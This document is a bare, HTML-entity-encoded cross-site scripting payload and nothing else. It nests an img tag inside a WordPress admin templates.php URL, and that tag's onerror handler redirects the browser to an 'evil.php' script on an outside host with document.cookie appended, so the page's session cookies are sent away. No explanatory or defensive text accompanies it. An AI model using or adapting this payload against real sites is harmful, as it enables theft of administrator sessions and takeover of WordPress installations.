&lt;
        img src=&#039;https://wordpress-site/wp/wp-admin/templates.php?file=&lt;
        img src=%27%27 onerror=&quot;javascript:
        var s=(document.location.toString().charAt(6));
        var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27);
        document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie&quot;&gt;&#039;
&gt;